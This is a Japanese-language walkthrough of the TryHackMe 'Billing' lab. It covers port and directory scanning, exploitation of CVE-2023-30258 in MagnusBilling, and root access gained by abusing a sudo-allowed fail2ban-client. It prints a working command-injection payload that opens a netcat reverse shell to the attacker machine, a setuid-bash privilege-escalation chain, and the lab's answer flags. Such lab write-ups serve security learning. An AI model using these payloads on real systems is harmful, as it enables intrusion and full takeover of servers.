はじめに
今回は難易度がEasyである「Billing」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。
環境
環境 | IPアドレス |
---|---|
攻撃マシン | 10.8.59.93 |
ターゲットマシン | 10.10.136.175 |
Task 1 Flags
ポートスキャンを行います。
└─$ nmap -Pn -T4 10.10.136.175
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-29 23:01 EDT
Nmap scan report for 10.10.136.175
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
隠しディレクトリを探します。
└─$ gobuster dir -u http://10.10.136.175/mbilling/ -x html,php -w ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.136.175/mbilling/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/.html (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 30760]
/index.php (Status: 200) [Size: 663]
/archive (Status: 301) [Size: 325] [--> http://10.10.136.175/mbilling/archive/]
/resources (Status: 301) [Size: 327] [--> http://10.10.136.175/mbilling/resources/]
/assets (Status: 301) [Size: 324] [--> http://10.10.136.175/mbilling/assets/]
/lib (Status: 301) [Size: 321] [--> http://10.10.136.175/mbilling/lib/]
/cron.php (Status: 200) [Size: 0]
/LICENSE (Status: 200) [Size: 7652]
/tmp (Status: 301) [Size: 321] [--> http://10.10.136.175/mbilling/tmp/]
/protected (Status: 403) [Size: 278]
「10.10.136.175/mbilling/lib/」の「icepay」が以下サイトよりcve-2023-30258に関する脆弱性であるとのこと。
https://www.rapid7.com/db/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258/
以下サイトのエクスプロイトを使用します。
https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit
まずnetcatで待ち受けを行います。
nc -lvnp 1234
攻撃マシンに対してRCEを実行します。
curl -s 'http://10.10.136.175/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.59.93 1234 >/tmp/f;'
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.59.93] from (UNKNOWN) [10.10.136.175] 44858
sh: 0: can't access tty; job control turned off
$
シェルのグレードを上げます。
$ python3 -c "import pty;pty.spawn('/bin/bash')"
asterisk@Billing:/var/www/html/mbilling/lib/icepay$
What is user.txt?
あるユーザ内のフォルダ内にフラグがあったので1つ目獲得になります。
asterisk@Billing:/home/magnus$ cat user.txt
cat user.txt
THM{4a6831d5f124b25eefb1e92e0f0da4ca}
What is root.txt?
現ユーザが特権ユーザで実行可能なコマンドを確認します。
sasterisk@Billing:/home/magnus$sudo -l
sudo -l
Matching Defaults entries for asterisk on Billing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asterisk:
Defaults!/usr/bin/fail2ban-client !requiretty
User asterisk may run the following commands on Billing:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
fail2ban-clientは、Fail2Banの管理を行うためのコマンドラインツールで、そのFail2Banは不正アクセスやブルートフォース攻撃を検出し、自動的にIPアドレスをブロックするLinuxのセキュリティツールであるとのこと。
実行中のプロセスを確認した所、rootユーザとしてfail2ban-serverが実行されていました。
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ ps -aux | grep fail
ps -aux | grep fail
root 531 0.5 1.3 1167416 25880 ? Ssl 02:42 0:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
asterisk 1344 0.0 0.0 6580 704 pts/0 S+ 02:44 0:00 grep fail
次にfail2ban-serverのステータスを確認すると、8つのアクションがアクティブ状態である事が分かります。
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client status
<g/lib/icepay$ sudo /usr/bin/fail2ban-client status
Status
|- Number of jail: 8
`- Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
8つのアクションの設定を確認していた所、asterisk-iptablesにはRCE先へ攻撃を試みたIPをブロックする処理があるとのこと。
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables actions
<r/bin/fail2ban-client get asterisk-iptables actions
The jail asterisk-iptables has the following actions:
iptables-allports-ASTERISK
そのブロックを行う設定を、以下の通りroot権限でシェルを起動する設定にするコマンドへ変更します。
# 設定を確認
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban
<iptables> -I f2b-ASTERISK 1 -s <ip> -j <blocktype>
# 設定を変更
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
<es-allports-ASTERISK actionban 'chmod +s /bin/bash'
chmod +s /bin/bash
# 変更された設定を確認
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban
chmod +s /bin/bash
そのアクションを実行して、設定したコマンドを実行します。
アクションを行う方法として、手動でアクセス不可のIPを追加するコマンドがある為、それを実行します。
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.1.1.1
<fail2ban-client set asterisk-iptables banip 1.1.1.1
1
root権限でシェルを起動すると、rootへ昇格されました。
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ /bin/bash -p
/bin/bash -p
bash-5.1# whoami
whoami
root
最後にフラグを獲得して完了となります。
bash-5.1# cat /root/root.txt
cat /root/root.txt
THM{33ad5b530e71a172648f424ec23fae60}
さいごに
以上となります。